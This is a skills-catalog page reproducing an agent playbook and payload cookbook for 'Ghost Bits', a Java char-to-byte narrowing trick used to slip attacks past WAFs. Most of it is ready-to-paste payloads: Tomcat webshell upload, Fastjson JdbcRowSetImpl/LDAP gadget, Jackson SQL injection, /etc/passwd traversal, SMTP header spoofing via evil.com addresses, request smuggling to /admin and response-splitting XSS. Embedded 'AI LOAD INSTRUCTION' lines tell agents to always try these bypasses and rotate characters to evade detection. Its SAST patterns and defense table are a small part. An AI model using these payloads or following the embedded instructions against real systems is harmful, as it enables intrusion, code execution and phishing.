
Ghost Bits Cast Attack
- 2k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
>-
About
The ghost bits cast attack skill >-. Documentation covers workflows, commands, and guardrails agents should follow when users invoke this capability. Key documented areas include [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - when a Java; [deserialization-insecure](../deserialization-insecure/SKILL.md) - for; [path-traversal-lfi](../path-traversal-lfi/SKILL.md) - Spring, Jetty,; [upload-insecure-files](../upload-insecure-files/SKILL.md) - Tomcat. Reference commands include // Correct: explicit UTF-8, multi-byte chars become multi-byte sequences; byte[] bytes = str.getBytes(StandardCharsets.UTF_8);. Use when developers or agents need structured guidance for ghost bits cast attack tasks with evidence grounded in the bundled SKILL.md rather than generic advice. [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - when a Java [deserialization-insecure](../deserialization-insecure/SKILL.md) - for [path-traversal-lfi](../path-traversal-lfi/SKILL.md) - Spring, Jetty, [upload-insecure-files](../upload-insecure-files/SKILL.md) - Tomcat [request-smuggling](../request-smuggling/SKILL.md) - Apache HttpClient [crlf-injection](../crlf-injection/SKILL.md).
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - when a Java
- [deserialization-insecure](../deserialization-insecure/SKILL.md) - for
- [path-traversal-lfi](../path-traversal-lfi/SKILL.md) - Spring, Jetty,
- [upload-insecure-files](../upload-insecure-files/SKILL.md) - Tomcat
- [request-smuggling](../request-smuggling/SKILL.md) - Apache HttpClient
Ghost Bits Cast Attack by the numbers
- 1,984 all-time installs (skills.sh)
- +122 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #292 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
ghost-bits-cast-attack capabilities & compatibility
- Capabilities
- [waf bypass techniques](../waf bypass techniques · [deserialization insecure](../deserialization in · [path traversal lfi](../path traversal lfi/skill · [upload insecure files](../upload insecure files · [request smuggling](../request smuggling/skill.m
npx skills add https://github.com/yaklang/hack-skills --skill ghost-bits-cast-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
How do I handle ghost bits cast attack tasks with agent guidance?
>-
Who is it for?
Teams needing documented ghost bits cast attack workflows.
Skip if: Developers who only need the conceptual Ghost Bits Cast Attack primer without payload generators or lookup tables.
When should I use this skill?
>-
What you get
Structured workflow from ghost bits cast attack documentation applied to the user request.
- payload scripts
- lookup table
- WAF pseudocode
By the numbers
- Lists two Unicode candidates per low byte in the complete lookup table
- Includes Python and Yaklang ready-to-paste payload generators
Files
SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook
AI LOAD INSTRUCTION: This is a Java-only injection-enabling primitive,
not a standalone vulnerability class. Whenever you see (1) a Java backend,
(2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload,
path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS
try Ghost Bits variants of the payload before declaring it "blocked". The
root cause is the silent loss of the high 8 bits when Java code narrows a
16-bitcharto an 8-bitbyte— the WAF sees a harmless Unicode
character, the backend reconstructs the original ASCII attack byte. Base
models almost never reach for this primitive.
>
Source: Black Hat Asia 2026 talk *Cast Attack: A New Threat Posed by Ghost
Bits in Java* by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor
Zongzheng Zheng (@chun_springX).
0. RELATED ROUTING
Ghost Bits is a bypass primitive that re-enables payloads from many other playbooks. Pair it with whichever attack family applies:
- waf-bypass-techniques — when a Java
backend is suspected and WAF rules block the literal payload, this is the first technique to try beyond classic encoding.
- deserialization-insecure — for
Apache Commons BCEL ClassLoader and Fastjson \u/\x escape variants.
- path-traversal-lfi — Spring, Jetty,
Undertow, Vert.x URL decoding and %2> hex folding.
- upload-insecure-files — Tomcat
RFC2231Utility filename* Webshell upload.
- request-smuggling — Apache HttpClient
<= 4.5.9 (HTTPCLIENT-1974/1978) header CRLF.
- crlf-injection — Angus Mail / Jakarta Mail
SMTP injection and JDK HttpServer response splitting.
- sqli-sql-injection — Jackson
charToHex
table-lookup truncation hides SQL keywords inside Unicode escapes.
Advanced Reference
Load PAYLOAD_COOKBOOK.md when you need:
- Full byte-to-Ghost-character lookup table covering every printable ASCII
byte 0x20–0x7E and the most useful control bytes (0x00, 0x09, 0x0A, 0x0D).
- Per-component affected version matrix and patch identifiers.
- Yaklang and Python one-liner payload generators (for
poc.HTTP,
codec.Encode, raw socket).
- "Multi-view normalization engine" pseudocode for blue-team WAF detection.
---
1. ONE-MINUTE MENTAL MODEL
Java's char is a 16-bit unsigned integer (UTF-16 code unit). Almost every wire protocol — HTTP/1.1, SMTP, Redis RESP, file paths, raw byte streams — is 8-bit byte oriented. The right way to bridge them is explicit charset encoding:
// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);Tons of legacy code, framework internals, and "fast path" optimizations skip this and silently narrow:
// Dangerous: high 8 bits silently dropped
byte b = (byte) ch; // 0x966A -> 0x6A
out.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str); // DataOutputStream loops char->byte cast
int v = ch & 0xFF; // explicit low-byte maskThe lost high 8 bits are the Ghost Bits. They turn a multi-byte Unicode character into a single attacker-chosen ASCII byte at the protocol layer.
View A (string layer: WAF / business validation / logs)
sees: 陪 阮 严 灵 瘍 瘊 ... "harmless Unicode garbage, allow"
|
v silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
sees: j . % u \r \n ... "executes the dangerous semantics"
The boundary is breached at the exact moment "view A" and "view B" disagree.Mathematical formulation: to make View B see byte T, pick any k in 0x01..0xFF and use:
c = chr((k << 8) | T)That gives you 255 candidate Unicode characters per dangerous byte — plenty of room to dodge any signature-based blacklist.
---
2. THREE ROOT-CAUSE FAMILIES
The Ghost Bits umbrella covers three distinct underlying bugs. Distinguishing them tells you both which payload shape to send and what to grep for in source.
Family A — Real high-bit truncation (classic Ghost Bits)
The narrowing is literal and unconditional.
// Pattern A1: explicit cast
byte b = (byte) ch;
// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;
// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);
// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
// writing low byte of each
dos.writeBytes(str);
// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);Typical impact: Tomcat filename*, Apache BCEL ClassLoader, Lettuce Redis writer, SMTP CRLF in Angus Mail, HTTPCLIENT-1974 header injection.
Family B — Bit-arithmetic folding (illegal char becomes legal)
A "fast" hex / base64 / charset decoder uses bit tricks instead of strict range checks, so an illegal character collapses onto a legal one.
// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
int x = c & 0x1F; // keep low 5 bits
x += (c >> 6) * 25;
x -= 16;
return x; // expected 0..15, but no range check
}Worked example: feed > (0x3E):
0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xESo %2> is silently parsed as %2E = .. The same algebra makes %2^, %2~ etc. equivalent to other hex digits.
Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic URL-decode WAF bypass.
Family C — Lax Unicode normalization
The decoder accepts Unicode characters that happen to be classified as "digit" or that map to a hex value via a & 0xFF lookup — even though they were never meant to participate in protocol parsing.
// Fastjson: too permissive
Character.digit(c, 16); // accepts Thai, Punjabi, fullwidth digits
// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];
// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'Typical impact: Fastjson \u and \x escape bypass, fullwidth URL-encoded path traversal, Jackson charToHex SQLi smuggling.
---
3. CHARACTER GENERATOR
Build any Ghost Bits character on the fly. This is the single function every agent should keep in mind:
# Python
def ghost(target_byte: int, k: int = 1) -> str:
"""Return a Unicode char whose low 8 bits equal target_byte."""
return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))
# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96) // returns "陪"Selection guidance:
- Avoid surrogate range
0xD800..0xDFFF(high byte 0xD8..0xDF) — those are
not valid scalar values and will be replaced by the JVM string decoder before reaching the narrowing site, defeating the bypass.
- Prefer characters that survive the application's own charset round-trip
(Latin-Extended, CJK Unified Ideographs, Enclosed CJK Letters and Months, Hangul). If the request body uses UTF-8, these all encode cleanly into multi-byte sequences that no WAF rule recognizes as ., /, j, etc.
- Rotate
kbetween requests so signature based learning cannot pin a single
character to a single attack.
---
4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP
Compact red-team weaponization table. For every byte the attacker actually needs, one verified Unicode char is given; substitute another k if the WAF later learns the example.
| Target byte | Hex | Used for | Ghost char | Code point |
|---|---|---|---|---|
\t | 0x09 | header folding, parser confusion | ĉ | U+0109 |
\n | 0x0A | CRLF injection, log injection | 瘊 | U+760A |
\r | 0x0D | CRLF injection, request smuggling | 瘍 | U+760D |
| 0x20 | header break, command separator | Ġ | U+0120 |
" | 0x22 | string break in JSON / quoted-printable | Ģ | U+0122 |
% | 0x25 | URL encoding prefix, second decode | 严 | U+4E25 |
& | 0x26 | parameter separator | Ȧ | U+0226 |
' | 0x27 | SQL string break | ȧ | U+0227 |
( | 0x28 | EL/SpEL/OGNL syntax | Ȩ | U+0228 |
) | 0x29 | EL/SpEL/OGNL syntax | ȩ | U+0229 |
. | 0x2E | path traversal, extension | 阮 | U+962E |
/ | 0x2F | path separator | 丯 | U+4E2F |
0 | 0x30 | hex digit construction | 丰 | U+4E30 |
1 | 0x31 | hex digit construction | 失 | U+5931 |
2 | 0x32 | hex digit construction | 甲 | U+7532 |
3 | 0x33 | hex digit construction | 耳 | U+8033 |
; | 0x3B | command separator, header continuation | Ȼ | U+023B |
< | 0x3C | XSS / XML tag start | ȼ | U+023C |
= | 0x3D | parameter / header value | Ƚ | U+023D |
> | 0x3E | XSS / XML tag end | Ⱦ | U+023E |
@ | 0x40 | Fastjson @type, mail address | ŀ | U+0140 |
a | 0x61 | keyword class, alphabet | ᙡ | U+1661 |
c | 0x63 | keyword class, cmd | 㹣 | U+3E63 |
e | 0x65 | hex digit | 来 | U+6765 |
j | 0x6A | extension .jsp | 陪 | U+966A |
l | 0x6C | keyword class, closure | ౬ | U+0C6C |
n | 0x6E | keyword Runtime, union | 陮 | U+966E |
s | 0x73 | keyword class, select | ⑳ | U+2473 |
t | 0x74 | keyword Runtime, type | Ŵ | U+0174 |
u | 0x75 | \u escape introducer | 灵 | U+7075 |
Workflow tip: keep the ASCII Ŀ, ȧ, ȼ, etc. variants for tight HTTP header contexts (one byte UTF-8 expansion stays smaller); use CJK like 阮, 陪, 严 when you want to bias the WAF "this is just text" classifier.
---
5. PER-COMPONENT PAYLOAD RECIPES
Every recipe shows the dual view: what the WAF inspects vs. what the backend actually executes. This is the only reliable way to explain why the payload goes through.
5.1 Tomcat RFC2231Utility — file upload Webshell (Family A)
Trigger: any endpoint that accepts multipart upload and Tomcat parses Content-Disposition: ... filename*=UTF-8''.... Tomcat's RFC2231 decoder casts each non-percent character directly to byte, dropping the high 8 bits.
Payload:
Content-Disposition: attachment; filename*=UTF-8''1.陪sp| Stage | Filename it sees |
|---|---|
| WAF / extension filter | 1.陪sp (not .jsp, allow) |
| Tomcat RFC2231 decoder | 陪 -> low byte 0x6A -> j |
| File system | 1.jsp |
Combine with traversal characters from section 4 (阮, 丯) when the upload target directory is fixed but the application accepts a filename*.
5.2 Apache Commons BCEL — ClassLoader RCE (Family A)
Trigger: any sink that resolves a class name through BCEL ($$BCEL$$...) or any code that decodes BCEL via the JavaReader -> ByteArrayOutputStream loop.
Vulnerable shape:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
bos.write(ch); // low 8 bits only
}Attack: wrap each byte of the malicious BCEL bytecode into a Unicode character whose low 8 bits equal that byte. The decoded byte stream is a valid BCEL class; the WAF sees a long blob of CJK text without $$BCEL$$ keywords or class signatures.
| View | Content |
|---|---|
| WAF | $$BCEL$$ followed by random looking CJK |
| BCEL | standard BCEL class file bytes → JVM defineClass → RCE |
Defense for blue team: a WAF inspecting BCEL must replicate the bos.write(ch) semantics on each character before pattern matching.
5.3 Jackson charToHex — SQLi smuggling (Family C)
Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL or another parser. Jackson resolves \uXXXX digits via:
private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
return sHexValues[ch & 0xFF]; // mask first, lookup second
}Any non-ASCII character whose low 8 bits land on a populated index returns that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.
Payload (smuggle the digit 1 for a UNION column count):
{"q": "\u丰丰耳失 union select 1,2,3 -- "}| View | Content |
|---|---|
| WAF | \u丰丰耳失 union select ... (no leading digit) |
| Jackson | \u0031 union select 1,2,3-- -> 1 union select… |
Pair with sqli-sql-injection for the downstream UNION / boolean / time-based payload templates.
5.4 Fastjson — \u and \x escape bypass (Families B + C)
Two independent surfaces:
(a) \u escape — Character.digit(c, 16) accepts Unicode digit categories beyond ASCII (Thai ๐-๙ U+0E50..U+0E59, Punjabi ੦-੯ U+0A66..U+0A6F, fullwidth 0-9 U+FF10..U+FF19).
{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}WAF view: \u4_type (no @type literal). Fastjson normalizes fullwidth 4 to 4, then handles _ via the \x shortcut below, yielding @type.
(b) \x escape — Fastjson computes digits[x1] * 16 + digits[x2]. An illegal hex character returns the default value 0.
\x4_ -> '4'(=4) * 16 + '_'(=0) = 0x40 = '@'{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}| View | Field name |
|---|---|
| WAF | \x4_type (not @type) |
| Fastjson | @type -> JdbcRowSetImpl autotype gadget triggers |
5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)
Two combinable tricks:
Trick 1 — Family A character substitution in path or query:
/api/v1/data?file=阮丯阮丯etc丯passwd
= ../../etc/passwd at the byte layerTrick 2 — Family B %2> folding when Jetty's TypeUtil.fromHexDigit is in the chain:
/setup/setup-s/%2>%2>/log.jsp
= /setup/setup-s/../log.jsp after decodeEither alone bypasses most signature WAFs; combined they survive even "normalized then matched" rules that only see ASCII percent triplets.
Spring CVE-2025-41242 chain (StringUtils.uriDecode patched in PR #34673):
input : 阮严灵丰丰甲来
(.)(%)(u)(0)(0)(2)(e)
narrow: .%u002e
decode: ..
result: arbitrary file read via path traversal| Stage | Path |
|---|---|
Spring isInvalidPath() | .%u002e — no literal .., allow |
| Backend file resolution | .. after %u002e decode → traversal |
5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)
Trigger: any application that builds SMTP envelopes or headers from user-controlled strings. Internal ASCIIUtility does:
byte b = (byte) ch; // 16-bit char silently narrowedSmuggle CRLF as 瘍瘊:
hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234| View | What it parses |
|---|---|
| Application validation | a single From value containing odd CJK |
| SMTP server | five separate header lines + body, fully spoofed |
Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking, Confluence domain allowlist bypass — pair with crlf-injection for non-mail CRLF reuse.
5.7 Apache HttpClient <= 4.5.9 — request smuggling (Family A)
HTTPCLIENT-1974 / HTTPCLIENT-1978: header values pass through OutputStreamWriter plus a narrow-cast write that emits raw \r\n for \u760D\u760A.
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1| Hop | Sees |
|---|---|
| Front proxy / WAF | one request with a long X-Auth-Token |
| Origin | two requests; the second is an admin POST |
Cross-reference request-smuggling for chosen-prefix attacks once the desync is confirmed.
5.8 JDK HttpServer — response splitting (CVE-2026-21933, Family A)
Reflection of user input into a response header passes through com.sun.net.httpserver writers that low-byte-cast each char.
Payload (URL parameter or upstream header):
Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>Server emits two logical responses; the second carries an attacker-chosen body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.
5.9 Other affected components
Same Family A primitive, different sink:
- Lettuce (Redis client) — command injection by smuggling
\r\ninto
RESP frames; chain to arbitrary CONFIG SET dir + SAVE for SSRF-to-RCE.
- Jodd `FileNameUtil` — path traversal via
阮and丯because its
internal write loop narrows.
- XMLWriter — tag-name injection when an attribute or text node value is
pushed through a low-byte writer; XXE / XSS pivot.
- ActiveJ HTTP — CRLF injection identical in shape to 5.7 / 5.8.
- Vert.x HTTP body parser — Family A in
MultipartParser.
See PAYLOAD_COOKBOOK.md for affected-version matrix and full per-component payload skeletons.
---
6. KNOWN-CVE BYPASS RECIPES
Use these exactly when the corresponding CVE is patched but a WAF still fronts the service. Each Payload below shifts the original ASCII attack into a form that survives string-based WAF rules.
Openfire CVE-2023-32315 — auth bypass (Family B)
Original public bypass:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jspGhost Bits / %2> folding bypass (much harder to signature):
GET /setup/setup-s/%2>%2>/%2>%2>/log.jspEach %2> collapses through Jetty's lax hex into %2E = ., yielding the same ../../ traversal without ever emitting .. or %2e to the WAF.
GeoServer CVE-2024-36401 — RCE via Runtime keyword (Family B)
Public WAF rules typically block Runtime. Inject one folded character:
Ru%6>timeDecoder math: %6> -> %6E -> n. The expression evaluator now sees Runtime, the WAF never did.
Spring4Shell CVE-2022-22965 — class loader chain (Family A)
Required parameter prefix class.module.classLoader.... WAFs block the literal class. Substitute via low-byte chars:
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."| Component | Char | Code point | Low byte |
|---|---|---|---|
c | 㹣 | U+3E63 | 0x63 |
l | ౬ | U+0C6C | 0x6C |
a | ᙡ | U+1661 | 0x61 |
s | ⑳ | U+2473 | 0x73 |
s | ⑳ | U+2473 | 0x73 |
Springs's parameter-name resolver narrows back to class.
Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)
Already demonstrated in 5.5 above. Payload 阮严灵丰丰甲来 -> .%u002e -> .. after decode-after-validation.
Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)
to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but its To: and Subject: are attacker-chosen — high-fidelity phishing.
---
7. DETECTION DECISION TREE
Use this when triaging a target. The point is to avoid Ghost Bits when it cannot help and to always try it when the preconditions hold.
Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
WebGoat-style stack trace, X-Powered-By, X-Frame-Options
with Tomcat default values)
├── No -> stop, Ghost Bits does not apply
└── Yes
│
├── Is there a WAF / IDS or input filter blocking your literal payload?
│ ├── No -> use the literal payload; Ghost Bits is overkill
│ └── Yes -> continue
│
├── Which sink are you targeting?
│ ├── File upload via multipart -> recipe 5.1 (Tomcat filename*)
│ ├── JSON deserialization -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
│ ├── Class loader / BCEL ref -> recipe 5.2
│ ├── URL path / parameter -> recipe 5.5 + Family B `%2>`
│ ├── Header reflection -> recipes 5.7 / 5.8
│ ├── Mail send -> recipe 5.6
│ └── Redis / RESP / XML / RPC -> recipe 5.9
│
├── Probe with a single non-destructive substitution first
│ (replace ONE character with its Ghost variant; observe response
│ diff: status code, length, header echo, error message, time)
│
└── If observable difference appears -> escalate by substituting all
blocked characters and chain
through the linked playbook.---
8. SAST / CODE-AUDIT SIGNATURES
Three priority tiers when reviewing Java source. Search across all your project repos, all dependencies you can shade, and the lib/ of any deployed appliance.
Tier 1 — direct narrowing (Family A)
\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\) # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytesTier 2 — lax hex / digit decoding (Families B + C)
Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25Tier 3 — high-risk wrappers and reachability
RFC2231 # Tomcat / mail filename* parsing
JavaReader # BCEL ClassLoader reachable
ASCIIUtility # Jakarta Mail / Angus Mail
LineParser # HttpClient header parser
ChunkedDecoder # request smuggling adjacent
charToHex # Jackson
encodeUTF8 # candidate for char->byte writerPer-finding triage applies the five-dimension risk model:
| Dimension | Higher risk if |
|---|---|
| Input control | HTTP param, header, filename, JSON key, mail address |
| Validation | a deny/allow list runs before the narrowing site |
| Narrowing time | conversion happens after security check |
| Syntax target | result enters URL / SMTP / HTTP / Redis / file system / SQL grammar |
| Re-decoding | Base64, URL-decode, JSON unescape, %u, etc. happen later |
Risk formula:
attacker-controlled + check-before-narrow + result-in-protocol-syntax
+ later-redecoding
= HIGH SEVERITY---
9. DIFFERENTIAL TESTING WORKFLOW
A reproducible, black-box procedure to find new Ghost Bits sinks (red team) or to validate a fix (blue team).
1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').
2. Generate the candidate set:
C = { chr((k << 8) | T) for k in 1..255 }
Drop surrogates 0xD8XX..0xDFXX.
3. For each candidate c in C:
a. Send a benign request with c at the chosen position.
b. Send the same request with literal T at the same position.
c. Compare four observables:
- status code
- response body length
- response body content hash (or diff)
- server-side log line (if available)
4. If any candidate produces a response equivalent to T but differs from a
"neutral" character (e.g. 'X'), you have found a narrowing sink.
5. Repeat for the next T in your priority list:
0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')
6. Cluster sinks by component (response Server header, error stack) — one
sink usually implies the whole framework version is vulnerable.This workflow is intentionally protocol-agnostic; the same loop works on a file uploader, a search endpoint, a mail composer, or a Redis-backed cache.
---
10. DEFENSE AWARENESS
Five layers, all needed; any single one is bypassable in isolation.
| Layer | Action |
|---|---|
| Source code | Ban hand-written (byte) ch, & 0xFF, out.write(ch), writeBytes. Use getBytes(StandardCharsets.UTF_8) or strict ASCII allowlist for protocol fields. |
| Decoder | Reject illegal input. Never default-fold an unknown hex / Unicode digit / Base64 character to 0 or to its low 8 bits. |
| Validation order | Always normalize first, then validate. Specifically: strict decode → Unicode NFC/NFKC → protocol normalize (URL .. resolution, File.getCanonicalPath) → security check → execute. |
| Protocol field | Use strict allowlists per field (HTTP header value, SMTP envelope, URL path, filename, JSON key, XML tag). Reject CR/LF in any header or address. |
| WAF / IDS | Run a multi-view normalizer. Always inspect the original string AND the (char) & 0xFF view AND the URL-decoded view AND the Unicode-NFKC view. Alert when any view contains a dangerous semantic the original lacked. |
Blue-team smell tests:
- Logs contain CJK / Latin-Extended characters at positions where the
protocol grammar expects ASCII (filename, header value, mail address).
- The HEX dump of a request contains bytes outside
0x20..0x7Eadjacent to
protocol delimiters.
- A pen-test or scanner reports a "weird 200" that the security monitoring
did not flag — Ghost Bits is the most common 2025-2026 cause for that pattern in Java stacks.
---
11. QUICK REFERENCE — KEY PAYLOADS
# Ghost char generator
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF)) # avoid k in 0xD8..0xDF
# Tomcat filename* webshell upload
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp" # → shell.jsp
# BCEL ClassLoader bypass (concept)
$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>
# Jackson SQLi smuggling
{"q":"\u丰丰耳失 union select 1,2,3-- "} # → "1 union select…"
# Fastjson @type smuggling
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}
# Spring URL decode + Jetty %2> folding
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time
# Spring4Shell name* class smuggling
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."
# Spring CVE-2025-41242 path read
GET /resources/阮严灵丰丰甲来/secret.properties # → ../%u002e
# Angus Mail / Jira mail hijack
From: hacker@evil.com瘍瘊Subject: Reset瘍瘊To: victim@org.com瘍瘊瘍瘊Your code is 1234
# Apache HttpClient ≤4.5.9 smuggling
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
# JDK HttpServer response splitting (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>
# SAST first-pass grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/---
REFERENCES
- Black Hat Asia 2026 — *Cast Attack: A New Threat Posed by Ghost Bits in
Java*. Speakers: Xinyu Bai (@b1u3r / @iSafeBlue), Zhihui Chen (@1ue). Contributor: Zongzheng Zheng (@chun_springX).
- Real-world CVEs re-enabled: GeoServer CVE-2024-36401, Spring4Shell
CVE-2022-22965, Openfire CVE-2023-32315, Spring CVE-2025-41242, Jakarta Mail CVE-2025-57733, JDK HttpServer CVE-2026-21933, Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978.
- Patched components to upgrade past: Apache Commons BCEL >= 6.12.0,
Fastjson 2.x latest, Apache HttpClient >= 4.5.10 (or migrate to 5.x), GeoServer >= 2.28.3, Openfire >= 5.0.4. Confirm vendor advisories before relying on any single version number.
Ghost Bits Cast Attack — Payload Cookbook
AI LOAD INSTRUCTION: Load this companion when the main
SKILL.md is already in context AND you need (a) a complete
low-byte → Unicode lookup table beyond the compact one in section 4,
(b) an affected-component / patched-version matrix, (c) ready-to-paste
Python and Yaklang payload generators, or (d) blue-team multi-view
normalization pseudocode for WAF rules. Do NOT load this if the user only
wants the conceptual primer; the main SKILL covers that.
---
1. COMPLETE LOW-BYTE TO UNICODE TABLE
Two candidates per byte are listed: a Latin Extended-A character (compact in UTF-8, 2 bytes on the wire) and a CJK ideograph (3 bytes on the wire, blends into "Asian text" classifiers). Both round-trip cleanly through any UTF-8 based HTTP / JSON / SMTP transport.
For each row, the rule is exactly:
codepoint = (high_byte << 8) | low_byte
codepoint = (k << 8) | TAvoid k in 0xD8..0xDF (UTF-16 surrogate range) — those are not legal scalar values and will be replaced before reaching the narrowing site.
1.1 Control / whitespace bytes
| Byte | Char | Latin candidate (k=0x01) | CJK candidate (k=0x96) | Common attack use |
|---|---|---|---|---|
| 0x00 | NUL | Ā U+0100 | 間 U+9600 | path truncation, log nuke |
| 0x09 | TAB | ĉ U+0109 | 闉 U+9609 | header folding |
| 0x0A | LF | Ċ U+010A | 閊 U+960A | CRLF injection |
| 0x0D | CR | č U+010D | 閍 U+960D | CRLF injection |
| 0x1B | ESC | ě U+011B | 閛 U+961B | terminal escape |
1.2 Printable ASCII bytes 0x20–0x3F
| Byte | ASCII | Latin | CJK | Notes |
|---|---|---|---|---|
| 0x20 | SP | Ġ U+0120 | 阠 U+9620 | header value break |
| 0x21 | ! | ġ U+0121 | 阡 U+9621 | URL fragment |
| 0x22 | " | Ģ U+0122 | 阢 U+9622 | quote break, JSON escape |
| 0x23 | # | ģ U+0123 | 阣 U+9623 | URL fragment, comment |
| 0x24 | $ | Ĥ U+0124 | 阤 U+9624 | template syntax |
| 0x25 | % | ĥ U+0125 | 严 U+4E25 | URL encoding prefix |
| 0x26 | & | Ħ U+0126 | 阦 U+9626 | parameter separator |
| 0x27 | ' | ħ U+0127 | 阧 U+9627 | SQL quote break |
| 0x28 | ( | Ĩ U+0128 | 阨 U+9628 | EL / SpEL syntax |
| 0x29 | ) | ĩ U+0129 | 阩 U+9629 | EL / SpEL syntax |
| 0x2A | * | Ī U+012A | 阪 U+962A | wildcards |
| 0x2B | + | ī U+012B | 阫 U+962B | URL space, SQL concat |
| 0x2C | , | Ĭ U+012C | 阬 U+962C | parameter list, multipart |
| 0x2D | - | ĭ U+012D | 阭 U+962D | SQL comment, header |
| 0x2E | . | Į U+012E | 阮 U+962E | path traversal, extension |
| 0x2F | / | į U+012F | 阯 U+962F | path separator |
| 0x30 | 0 | İ U+0130 | 丰 U+4E30 | hex digit 0 |
| 0x31 | 1 | ı U+0131 | 失 U+5931 | hex digit 1 |
| 0x32 | 2 | IJ U+0132 | 甲 U+7532 | hex digit 2 |
| 0x33 | 3 | ij U+0133 | 耳 U+8033 | hex digit 3 |
| 0x34 | 4 | Ĵ U+0134 | 阴 U+9634 | hex digit 4 |
| 0x35 | 5 | ĵ U+0135 | 阵 U+9635 | hex digit 5 |
| 0x36 | 6 | Ķ U+0136 | 阶 U+9636 | hex digit 6 |
| 0x37 | 7 | ķ U+0137 | 阷 U+9637 | hex digit 7 |
